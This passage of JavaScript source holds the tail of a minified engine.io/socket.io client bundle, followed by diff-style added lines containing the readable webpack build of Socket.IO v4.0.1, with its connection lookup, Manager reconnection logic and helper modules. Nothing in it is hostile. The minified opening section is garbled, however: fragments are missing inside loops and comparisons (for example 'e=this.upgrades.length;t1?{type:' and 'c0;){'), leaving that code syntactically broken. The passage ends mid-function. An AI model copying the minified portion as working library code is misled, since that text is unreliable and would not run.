pong',t),f.upgrading=!0,f.emit("upgrading",u),!u)return;r.priorWebsocketSuccess="websocket"===u.name,a('pausing current transport "%s"',f.transport.name),f.transport.pause(function(){h||"closed"!==f.readyState&&(a("changing transport and sending upgrade packet"),p(),f.setTransport(u),u.send([{type:"upgrade"}]),f.emit("upgrade",u),u=null,f.upgrading=!1,f.flush())})}else{a('probe transport "%s" failed',t);var n=new Error("probe error");n.transport=u.name,f.emit("upgradeError",n)}}))}function n(){h||(h=!0,p(),u.close(),u=null)}function o(e){var r=new Error("probe error: "+e);r.transport=u.name,n(),a('probe transport "%s" failed because of error: %s',t,e),f.emit("upgradeError",r)}function i(){o("transport closed")}function s(){o("socket closed")}function c(t){u&&t.name!==u.name&&(a('"%s" works - aborting "%s"',t.name,u.name),n())}function p(){u.removeListener("open",e),u.removeListener("error",o),u.removeListener("close",i),f.removeListener("close",s),f.removeListener("upgrading",c)}a('probing transport "%s"',t);var u=this.createTransport(t,{probe:1}),h=!1,f=this;r.priorWebsocketSuccess=!1,u.once("open",e),u.once("error",o),u.once("close",i),this.once("close",s),this.once("upgrading",c),u.open()},r.prototype.onOpen=function(){if(a("socket open"),this.readyState="open",r.priorWebsocketSuccess="websocket"===this.transport.name,this.emit("open"),this.flush(),"open"===this.readyState&&this.upgrade&&this.transport.pause){a("starting upgrade probes");for(var t=0,e=this.upgrades.length;t1?{type:b[o],data:t.substring(1)}:{type:b[o]}:w}var i=new Uint8Array(t),o=i[0],s=f(t,1);return k&&"blob"===n&&(s=new k([s])),{type:b[o],data:s}},e.decodeBase64Packet=function(t,e){var n=b[t.charAt(0)];if(!p)return{type:n,data:{base64:!0,data:t.substr(1)}};var r=p.decode(t.substr(1));return"blob"===e&&k&&(r=new k([r])),{type:n,data:r}},e.encodePayload=function(t,n,r){function o(t){return t.length+":"+t}function i(t,r){e.encodePacket(t,!!s&&n,!1,function(t){r(null,o(t))})}"function"==typeof n&&(r=n,n=null);var s=h(t);return n&&s?k&&!g?e.encodePayloadAsBlob(t,r):e.encodePayloadAsArrayBuffer(t,r):t.length?void c(t,i,function(t,e){return r(e.join(""))}):r("0:")},e.decodePayload=function(t,n,r){if("string"!=typeof t)return e.decodePayloadAsBinary(t,n,r);"function"==typeof n&&(r=n,n=null);var o;if(""===t)return r(w,0,1);for(var i,s,a="",c=0,p=t.length;c0;){for(var s=new Uint8Array(o),a=0===s[0],c="",p=1;255!==s[p];p++){if(c.length>310)return r(w,0,1);c+=s[p]}o=f(o,2+c.length),c=parseInt(c);var u=f(o,0,c);if(a)try{u=String.fromCharCode.apply(null,new Uint8Array(u))}catch(h){var l=new Uint8Array(u);u="";for(var p=0;pr&&(n=r),e>=r||e>=n||0===r)return new ArrayBuffer(0);for(var o=new Uint8Array(t),i=new Uint8Array(n-e),s=e,a=0;s=55296&&e<=56319&&o65535&&(e-=65536,o+=w(e>>>10&1023|55296),e=56320|1023&e),o+=w(e);return o}function c(t,e){if(t>=55296&&t<=57343){if(e)throw Error("Lone surrogate U+"+t.toString(16).toUpperCase()+" is not a scalar value");return!1}return!0}function p(t,e){return w(t>>e&63|128)}function u(t,e){if(0==(4294967168&t))return w(t);var n="";return 0==(4294965248&t)?n=w(t>>6&31|192):0==(4294901760&t)?(c(t,e)||(t=65533),n=w(t>>12&15|224),n+=p(t,6)):0==(4292870144&t)&&(n=w(t>>18&7|240),n+=p(t,12),n+=p(t,6)),n+=w(63&t|128)}function h(t,e){e=e||{};for(var n,r=!1!==e.strict,o=s(t),i=o.length,a=-1,c="";++a=v)throw Error("Invalid byte index");var t=255&g[b];if(b++,128==(192&t))return 63&t;throw Error("Invalid continuation byte")}function l(t){var e,n,r,o,i;if(b>v)throw Error("Invalid byte index");if(b==v)return!1;if(e=255&g[b],b++,0==(128&e))return e;if(192==(224&e)){if(n=f(),i=(31&e)<<6|n,i>=128)return i;throw Error("Invalid continuation byte")}if(224==(240&e)){if(n=f(),r=f(),i=(15&e)<<12|n<<6|r,i>=2048)return c(i,t)?i:65533;throw Error("Invalid continuation byte")}if(240==(248&e)&&(n=f(),r=f(),o=f(),i=(7&e)<<18|n<<12|r<<6|o,i>=65536&&i<=1114111))return i;throw Error("Invalid UTF-8 detected")}function d(t,e){e=e||{};var n=!1!==e.strict;g=s(t),v=g.length,b=0;for(var r,o=[];(r=l(n))!==!1;)o.push(r);return a(o)}var y="object"==typeof e&&e,m=("object"==typeof t&&t&&t.exports==y&&t,"object"==typeof o&&o);m.global!==m&&m.window!==m||(i=m);var g,v,b,w=String.fromCharCode,k={version:"2.1.2",encode:h,decode:d};r=function(){return k}.call(e,n,e,t),!(void 0!==r&&(t.exports=r))}(this)}).call(e,n(27)(t),function(){return this}())},function(t,e){t.exports=function(t){return t.webpackPolyfill||(t.deprecate=function(){},t.paths=[],t.children=[],t.webpackPolyfill=1),t}},function(t,e){!function(){"use strict";for(var t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",n=new Uint8Array(256),r=0;r>2],i+=t[(3&r[n])<<4|r[n+1]>>4],i+=t[(15&r[n+1])<<2|r[n+2]>>6],i+=t[63&r[n+2]];return o%3===2?i=i.substring(0,i.length-1)+"=":o%3===1&&(i=i.substring(0,i.length-2)+"=="),i},e.decode=function(t){var e,r,o,i,s,a=.75*t.length,c=t.length,p=0;"="===t[t.length-1]&&(a--,"="===t[t.length-2]&&a--);var u=new ArrayBuffer(a),h=new Uint8Array(u);for(e=0;e>4,h[p++]=(15&o)<<4|i>>2,h[p++]=(3&i)<<6|63&s;return u}}()},function(t,e){(function(e){function n(t){for(var e=0;e0);return e}function r(t){var e=0;for(u=0;u';i=document.createElement(e)}catch(t){i=document.createElement("iframe"),i.name=o.iframeId,i.src="javascript:0"}i.id=o.iframeId,o.form.appendChild(i),o.iframe=i}var o=this;if(!this.form){var i,s=document.createElement("form"),a=document.createElement("textarea"),u=this.iframeId="eio_iframe_"+this.index;s.className="socketio",s.style.position="absolute",s.style.top="-1000px",s.style.left="-1000px",s.target=u,s.method="POST",s.setAttribute("accept-charset","utf-8"),a.name="d",s.appendChild(a),document.body.appendChild(s),this.form=s,this.area=a}this.form.action=this.uri(),r(),t=t.replace(p,"\\\n"),this.area.value=t.replace(c,"\\n");try{this.form.submit()}catch(h){}this.iframe.attachEvent?this.iframe.onreadystatechange=function(){"complete"===o.iframe.readyState&&n()}:this.iframe.onload=n}}).call(e,function(){return this}())},function(t,e,n){(function(e){function r(t){var e=t&&t.forceBase64;e&&(this.supportsBinary=!1),this.perMessageDeflate=t.perMessageDeflate,this.usingBrowserWebSocket=h&&!t.forceNode,this.protocols=t.protocols,this.usingBrowserWebSocket||(l=o),i.call(this,t)}var o,i=n(21),s=n(22),a=n(30),c=n(31),p=n(32),u=n(3)("engine.io-client:websocket"),h=e.WebSocket||e.MozWebSocket;if("undefined"==typeof window)try{o=n(35)}catch(f){}var l=h;l||"undefined"!=typeof window||(l=o),t.exports=r,c(r,i),r.prototype.name="websocket",r.prototype.supportsBinary=!0,r.prototype.doOpen=function(){if(this.check()){var t=this.uri(),e=this.protocols,n={agent:this.agent,perMessageDeflate:this.perMessageDeflate};n.pfx=this.pfx,n.key=this.key,n.passphrase=this.passphrase,n.cert=this.cert,n.ca=this.ca,n.ciphers=this.ciphers,n.rejectUnauthorized=this.rejectUnauthorized,this.extraHeaders&&(n.headers=this.extraHeaders),this.localAddress&&(n.localAddress=this.localAddress);try{this.ws=this.usingBrowserWebSocket?e?new l(t,e):new l(t):new l(t,e,n)}catch(r){return this.emit("error",r)}void 0===this.ws.binaryType&&(this.supportsBinary=!1),this.ws.supports&&this.ws.supports.binary?(this.supportsBinary=!0,this.ws.binaryType="nodebuffer"):this.ws.binaryType="arraybuffer",this.addEventListeners()}},r.prototype.addEventListeners=function(){var t=this;this.ws.onopen=function(){t.onOpen()},this.ws.onclose=function(){t.onClose()},this.ws.onmessage=function(e){t.onData(e.data)},this.ws.onerror=function(e){t.onError("websocket error",e)}},r.prototype.write=function(t){function n(){r.emit("flush"),setTimeout(function(){r.writable=!0,r.emit("drain")},0)}var r=this;this.writable=!1;for(var o=t.length,i=0,a=o;i0&&t.jitter<=1?t.jitter:0,this.attempts=0}t.exports=n,n.prototype.duration=function(){var t=this.ms*Math.pow(this.factor,this.attempts++);if(this.jitter){var e=Math.random(),n=Math.floor(e*this.jitter*t);t=0==(1&Math.floor(10*e))?t-n:t+n}return 0|Math.min(t,this.max)},n.prototype.reset=function(){this.attempts=0},n.prototype.setMin=function(t){this.ms=t},n.prototype.setMax=function(t){this.max=t},n.prototype.setJitter=function(t){this.jitter=t}}])}); +/*! + * Socket.IO v4.0.1 + * (c) 2014-2021 Guillermo Rauch + * Released under the MIT License. + */ +(function webpackUniversalModuleDefinition(root, factory) { + if(typeof exports === 'object' && typeof module === 'object') + module.exports = factory(); + else if(typeof define === 'function' && define.amd) + define([], factory); + else if(typeof exports === 'object') + exports["io"] = factory(); + else + root["io"] = factory(); +})(self, function() { + return /******/ (function(modules) { // webpackBootstrap + /******/ // The module cache + /******/ var installedModules = {}; + /******/ + /******/ // The require function + /******/ function __webpack_require__(moduleId) { + /******/ + /******/ // Check if module is in cache + /******/ if(installedModules[moduleId]) { + /******/ return installedModules[moduleId].exports; + /******/ } + /******/ // Create a new module (and put it into the cache) + /******/ var module = installedModules[moduleId] = { + /******/ i: moduleId, + /******/ l: false, + /******/ exports: {} + /******/ }; + /******/ + /******/ // Execute the module function + /******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__); + /******/ + /******/ // Flag the module as loaded + /******/ module.l = true; + /******/ + /******/ // Return the exports of the module + /******/ return module.exports; + /******/ } + /******/ + /******/ + /******/ // expose the modules object (__webpack_modules__) + /******/ __webpack_require__.m = modules; + /******/ + /******/ // expose the module cache + /******/ __webpack_require__.c = installedModules; + /******/ + /******/ // define getter function for harmony exports + /******/ __webpack_require__.d = function(exports, name, getter) { + /******/ if(!__webpack_require__.o(exports, name)) { + /******/ Object.defineProperty(exports, name, { enumerable: true, get: getter }); + /******/ } + /******/ }; + /******/ + /******/ // define __esModule on exports + /******/ __webpack_require__.r = function(exports) { + /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { + /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); + /******/ } + /******/ Object.defineProperty(exports, '__esModule', { value: true }); + /******/ }; + /******/ + /******/ // create a fake namespace object + /******/ // mode & 1: value is a module id, require it + /******/ // mode & 2: merge all properties of value into the ns + /******/ // mode & 4: return value when already ns object + /******/ // mode & 8|1: behave like require + /******/ __webpack_require__.t = function(value, mode) { + /******/ if(mode & 1) value = __webpack_require__(value); + /******/ if(mode & 8) return value; + /******/ if((mode & 4) && typeof value === 'object' && value && value.__esModule) return value; + /******/ var ns = Object.create(null); + /******/ __webpack_require__.r(ns); + /******/ Object.defineProperty(ns, 'default', { enumerable: true, value: value }); + /******/ if(mode & 2 && typeof value != 'string') for(var key in value) __webpack_require__.d(ns, key, function(key) { return value[key]; }.bind(null, key)); + /******/ return ns; + /******/ }; + /******/ + /******/ // getDefaultExport function for compatibility with non-harmony modules + /******/ __webpack_require__.n = function(module) { + /******/ var getter = module && module.__esModule ? + /******/ function getDefault() { return module['default']; } : + /******/ function getModuleExports() { return module; }; + /******/ __webpack_require__.d(getter, 'a', getter); + /******/ return getter; + /******/ }; + /******/ + /******/ // Object.prototype.hasOwnProperty.call + /******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); }; + /******/ + /******/ // __webpack_public_path__ + /******/ __webpack_require__.p = ""; + /******/ + /******/ + /******/ // Load entry module and return exports + /******/ return __webpack_require__(__webpack_require__.s = "./build/index.js"); + /******/ }) + /************************************************************************/ + /******/ ({ + + /***/ "./build/index.js": + /*!************************!*\ + !*** ./build/index.js ***! + \************************/ + /*! no static exports found */ + /***/ (function(module, exports, __webpack_require__) { + + "use strict"; + + + function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } + + Object.defineProperty(exports, "__esModule", { + value: true + }); + exports.Socket = exports.io = exports.Manager = exports.protocol = void 0; + + var url_1 = __webpack_require__(/*! ./url */ "./build/url.js"); + + var manager_1 = __webpack_require__(/*! ./manager */ "./build/manager.js"); + + var socket_1 = __webpack_require__(/*! ./socket */ "./build/socket.js"); + + Object.defineProperty(exports, "Socket", { + enumerable: true, + get: function get() { + return socket_1.Socket; + } + }); + + var debug = __webpack_require__(/*! debug */ "./node_modules/debug/src/browser.js")("socket.io-client"); + /** + * Module exports. + */ + + + module.exports = exports = lookup; + /** + * Managers cache. + */ + + var cache = exports.managers = {}; + + function lookup(uri, opts) { + if (_typeof(uri) === "object") { + opts = uri; + uri = undefined; + } + + opts = opts || {}; + var parsed = url_1.url(uri, opts.path); + var source = parsed.source; + var id = parsed.id; + var path = parsed.path; + var sameNamespace = cache[id] && path in cache[id]["nsps"]; + var newConnection = opts.forceNew || opts["force new connection"] || false === opts.multiplex || sameNamespace; + var io; + + if (newConnection) { + debug("ignoring socket cache for %s", source); + io = new manager_1.Manager(source, opts); + } else { + if (!cache[id]) { + debug("new io instance for %s", source); + cache[id] = new manager_1.Manager(source, opts); + } + + io = cache[id]; + } + + if (parsed.query && !opts.query) { + opts.query = parsed.queryKey; + } + + return io.socket(parsed.path, opts); + } + + exports.io = lookup; + /** + * Protocol version. + * + * @public + */ + + var socket_io_parser_1 = __webpack_require__(/*! socket.io-parser */ "./node_modules/socket.io-parser/dist/index.js"); + + Object.defineProperty(exports, "protocol", { + enumerable: true, + get: function get() { + return socket_io_parser_1.protocol; + } + }); + /** + * `connect`. + * + * @param {String} uri + * @public + */ + + exports.connect = lookup; + /** + * Expose constructors for standalone build. + * + * @public + */ + + var manager_2 = __webpack_require__(/*! ./manager */ "./build/manager.js"); + + Object.defineProperty(exports, "Manager", { + enumerable: true, + get: function get() { + return manager_2.Manager; + } + }); + exports["default"] = lookup; + + /***/ }), + + /***/ "./build/manager.js": + /*!**************************!*\ + !*** ./build/manager.js ***! + \**************************/ + /*! no static exports found */ + /***/ (function(module, exports, __webpack_require__) { + + "use strict"; + + + function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } + + function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } + + function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } + + function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } + + function _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; } + + function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } + + function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } + + function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } } + + function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } + + Object.defineProperty(exports, "__esModule", { + value: true + }); + exports.Manager = void 0; + + var eio = __webpack_require__(/*! engine.io-client */ "./node_modules/engine.io-client/lib/index.js"); + + var socket_1 = __webpack_require__(/*! ./socket */ "./build/socket.js"); + + var parser = __webpack_require__(/*! socket.io-parser */ "./node_modules/socket.io-parser/dist/index.js"); + + var on_1 = __webpack_require__(/*! ./on */ "./build/on.js"); + + var Backoff = __webpack_require__(/*! backo2 */ "./node_modules/backo2/index.js"); + + var typed_events_1 = __webpack_require__(/*! ./typed-events */ "./build/typed-events.js"); + + var debug = __webpack_require__(/*! debug */ "./node_modules/debug/src/browser.js")("socket.io-client:manager"); + + var Manager = /*#__PURE__*/function (_typed_events_1$Stric) { + _inherits(Manager, _typed_events_1$Stric); + + var _super = _createSuper(Manager); + + function Manager(uri, opts) { + var _this; + + _classCallCheck(this, Manager); + + _this = _super.call(this); + _this.nsps = {}; + _this.subs = []; + + if (uri && "object" === _typeof(uri)) { + opts = uri; + uri = undefined; + } + + opts = opts || {}; + opts.path = opts.path || "/socket.io"; + _this.opts = opts; + + _this.reconnection(opts.reconnection !== false); + + _this.reconnectionAttempts(opts.reconnectionAttempts || Infinity); + + _this.reconnectionDelay(opts.reconnectionDelay || 1000); + + _this.reconnectionDelayMax(opts.reconnectionDelayMax || 5000); + + _this.randomizationFactor(opts.randomizationFactor || 0.5); + + _this.backoff = new Backoff({ + min: _this.reconnectionDelay(), + max: _this.reconnectionDelayMax(), + jitter: _this.randomizationFactor() + }); + + _this.timeout(null == opts.timeout ? 20000 : opts.timeout); + + _this._readyState = "closed"; + _this.uri = uri; + + var _parser = opts.parser || parser; + + _this.encoder = new _parser.Encoder(); + _this.decoder = new _parser.Decoder(); + _this._autoConnect = opts.autoConnect !== false; + if (_this._autoConnect) _this.open(); + return _this; + } + + _createClass(Manager, [{ + key: "reconnection", + value: function reconnection(v) { + if (!arguments.length) return this._reconnection; + this._reconnection = !!v; + return this; + } + }, { + key: "reconnectionAttempts", + value: function reconnectionAttempts(v) { + if (v === undefined) return this._reconnectionAttempts; + this._reconnectionAttempts = v; + return this; + } + }, { + key: "reconnectionDelay", + value: function reconnectionDelay(v) { + var _a; + + if (v === undefined) return this._reconnectionDelay; + this._reconnectionDelay = v; + (_a = this.backoff) === null || _a === void 0 ? void 0 : _a.setMin(v); + return this; + } + }, { + key: "randomizationFactor", + value: function randomizationFactor(v) { + var _a; + + if (v === undefined) return this._randomizationFactor; + this._randomizationFactor = v; + (_a = this.backoff) === null || _a === void 0 ? void 0 : _a.setJitter(v); + return this; + } + }, { + key: "reconnectionDelayMax", + value: function reconnectionDelayMax(v) { + var _a; + + if (v === undefined) return this._reconnectionDelayMax; + this._reconnectionDelayMax = v; + (_a = this.backoff) === null || _a === void 0 ? void 0 : _a.setMax(v); + return this; + } + }, { + key: "timeout", + value: function timeout(v) { + if (!arguments.length) return this._timeout; + this._timeout = v; + return this; + } + /** + * Starts trying to reconnect if reconnection is enabled and we have not + * started reconnecting yet + * + * @private + */ + + }, { + key: "maybeReconnectOnOpen", + value: function maybeReconnectOnOpen() { + // Only try to reconnect if it's the first time we're connecting + if (!this._reconnecting && this._reconnection && this.backoff.attempts === 0) { + // keeps reconnection from firing twice for the same reconnection loop + this.reconnect(); + } + } + /** + * Sets the current transport `socket`. + * + * @param {Function} fn - optional, callback + * @return self + * @public + */ + + }, { + key: "open", + value: function open(fn) { + var _this2 = this; + + debug("readyState %s", this._readyState); + if (~this._readyState.indexOf("open")) return this; + debug("opening %s", this.uri); + this.engine = eio(this.uri, this.opts); + var socket = this.engine; + var self = this; + this._readyState = "opening"; + this.skipReconnect = false; // emit `open` + + var openSubDestroy = on_1.on(socket, "open", function () { + self.onopen(); + fn && fn(); + }); // emit `error` + + var errorSub = on_1.on(socket, "error", function (err) { + debug("error"); + self.cleanup(); + self._readyState = "closed"; + + _this2.emitReserved("error", err); + + if (fn) { + fn(err); + } else { + // Only do this if there is no fn to handle the error + self.maybeReconnectOnOpen(); + } + }); + + if (false !== this._timeout) { + var timeout = this._timeout; + debug("connect attempt will timeout after %d", timeout); + + if (timeout === 0) { + openSubDestroy(); // prevents a race condition with the 'open' event + } // set timer + + + var timer = setTimeout(function () { + debug("connect attempt timed out after %d", timeout); + openSubDestroy(); + socket.close(); + socket.emit("error", new Error("timeout")); + }, timeout); + + if (this.opts.autoUnref) { + timer.unref(); + } + + this.subs.push(function subDestroy() { + clearTimeout(timer); + }); + } + + this.subs.push(openSubDestroy); + this.subs.push(errorSub); + return this; + } + /** + * Alias for open() + * + * @return self + * @public + */ + + }, { + key: "connect", + value: function connect(fn) { + return this.open(fn); + } + /** + * Called upon transport open. + * + * @private + */ + + }, { + key: "onopen", + value: function onopen() { + debug("open"); // clear old subs + + this.cleanup(); // mark as open + + this._readyState = "open"; + this.emitReserved("open"); // add new subs + + var socket = this.engine; + this.subs.push(on_1.on(socket, "ping", this.onping.bind(this)), on_1.on(socket, "data", this.ondata.bind(this)), on_1.on(socket, "error", this.onerror.bind(this)), on_1.on(socket, "close", this.onclose.bind(this)), on_1.on(this.decoder, "decoded", this.ondecoded.bind(this))); + } + /** + * Called upon a ping. + * + * @private + */ + + }, { + key: "onping", + value: function onping() { + this.emitReserved("ping"); + } + /** + * Called with data. + * + * @private + */ + + }, { + key: "ondata", + value: function ondata(data) { + this.decoder.add(data); + } + /** + * Called when parser fully decodes a packet. + * + * @private + */ + + }, { + key: "ondecoded", + value: function ondecoded(packet) { + this.emitReserved("packet", packet); + } + /** + * Called upon socket error. + * + * @private + */ + + }, { + key: "onerror", + value: function onerror(err) { + debug("error", err); + this.emitReserved("error", err); + } + /** + * Creates a new socket for the given `nsp`. + * + * @return {Socket} + * @public + */ + + }, { + key: "socket", + value: function socket(nsp, opts) { + var socket = this.nsps[nsp]; + + if (!socket) { + socket = new socket_1.Socket(this, nsp, opts); + this.nsps[nsp] = socket; + } + + return socket; + } + /** + * Called upon a socket close. + * + * @param socket + * @private + */ + + }, { + key: "_destroy", + value: function _destroy(socket) { + var nsps = Object.keys(this.nsps); + + for (var _i = 0, _nsps = nsps; _i < _nsps.length; _i++) { + var nsp = _nsps[_i]; + var _socket = this.nsps[nsp]; + + if (_socket.active) { + debug("socket %s is still active, skipping close", nsp); + return; + } + } + + this._close(); + } + /** + * Writes a packet. + * + * @param packet + * @private + */ + + }, { + key: "_packet", + value: function _packet(packet) { + debug("writing packet %j", packet); + var encodedPackets = this.encoder.encode(packet); + + for (var i = 0; i < encodedPackets.length; i++) { + this.engine.write(encodedPackets[i], packet.options); + } + } + /** + * Clean up transport subscriptions and packet buffer. + * + * @private + */ + + }, { + key: "cleanup", + value: function cleanup() { + debug("cleanup"); + this.subs.forEach(function (subDestroy) { + return subDestroy(); + }); + this.subs.length = 0; + this.decoder.destroy(); + } + /** + * Close the current socket. + * + * @private + */ + + }, { + key: "_close", + value: function _close() { + debug("disconnect"); + this.skipReconnect = true; + this._reconnecting = false; + + if ("opening" === this._readyState) { + // `onclose` will not fire because + // an open event never happened + this.cleanup(); + } + + this.backoff.reset(); + this._readyState = "closed"; + if (this.engine) this.engine.close(); + } + /** + * Alias for close() + * + * @private + */ + + }, { + key: "disconnect", + value: function disconnect() { + return this._close(); + } + /** + * Called upon engine close. + * + * @private + */ + + }, { + key: "onclose", + value: function onclose(reason) { + debug("onclose"); + this.cleanup(); + this.backoff.reset(); + this._readyState = "closed"; + this.emitReserved("close", reason); + + if (this._reconnection && !this.skipReconnect) { + this.reconnect(); + } + } + /** + * Attempt a reconnection. + * + * @private + */ + + }, { + key: "reconnect", + value: function reconnect() { + var _this3 = this; + + if (this._reconnecting || this.skipReconnect) return this; + var self = this; + + if (this.backoff.attempts >= this._reconnectionAttempts) { + debug("reconnect failed"); + this.backoff.reset(); + this.emitReserved("reconnect_failed"); + this._reconnecting = false; + } else { + var delay = this.backoff.duration(); + debug("will wait %dms before reconnect attempt", delay); + this._reconnecting = true; + var timer = setTimeout(function () { + if (self.skipReconnect) return; + debug("attempting reconnect"); + + _this3.emitReserved("reconnect_attempt", self.backoff.attempts); // check again for the case socket closed in above events + + + if (self.skipReconnect) return; + self.open(function (err) { + if (err) { + debug("reconnect attempt error"); + self._reconnecting = false; + self.reconnect(); + + _this3.emitReserved("reconnect_error", err); + } else { + debug("reconnect success"); + self.onreconnect(); + } + }); + }, delay); + + if (this.opts.autoUnref) { + timer.unref(); + } + + this.subs.push(function subDestroy() { + clearTimeout(timer); + }); + } + } + /** + * Called upon successful reconnect. + * + * @private + */ + + }, { + key: "onreconnect", + value: function onreconnect() { + var attempt = this.backoff.attempts; + this._reconnecting = false; + this.backoff.reset(); + this.emitReserved("reconnect", attempt); + } + }]); + + return Manager; + }(typed_events_1.StrictEventEmitter); + + exports.Manager = Manager; + + /***/ }), + + /***/ "./build/on.js": + /*!*********************!*\ + !*** ./build/on.js ***! + \*********************/ + /*! no static exports found */ + /***/ (function(module, exports, __webpack_require__) { + + "use strict"; + + + Object.defineProperty(exports, "__esModule", { + value: true + }); + exports.on = void 0; + + function on(obj, ev, fn) { + obj.on(ev, fn); + return function subDestroy() { + obj.off(ev, fn); + }; + } + + exports.on = on; + + /***/ }), + + /***/ "./build/socket.js": + /*!*************************!*\ + !*** ./build/socket.js ***! + \*************************/ + /*! no static exports found */ + /***/ (function(module, exports, __webpack_require__) { + + "use strict"; + + + function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } + + function _createForOfIteratorHelper(o, allowArrayLike) { var it; if (typeof Symbol === "undefined" || o[Symbol.iterator] == null) { if (Array.isArray(o) || (it = _unsupportedIterableToArray(o)) || allowArrayLike && o && typeof o.length === "number") { if (it) o = it; var i = 0; var F = function F() {}; return { s: F, n: function n() { if (i >= o.length) return { done: true }; return { done: false, value: o[i++] }; }, e: function e(_e) { throw _e; }, f: F }; } throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } var normalCompletion = true, didErr = false, err; return { s: function s() { it = o[Symbol.iterator](); }, n: function n() { var step = it.next(); normalCompletion = step.done; return step; }, e: function e(_e2) { didErr = true; err = _e2; }, f: function f() { try { if (!normalCompletion && it["return"] != null) it["return"](); } finally { if (didErr) throw err; } } }; } + + function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } + + function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } + + function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } + + function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } + + function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } + + function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } + + function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } + + function _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; } + + function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return 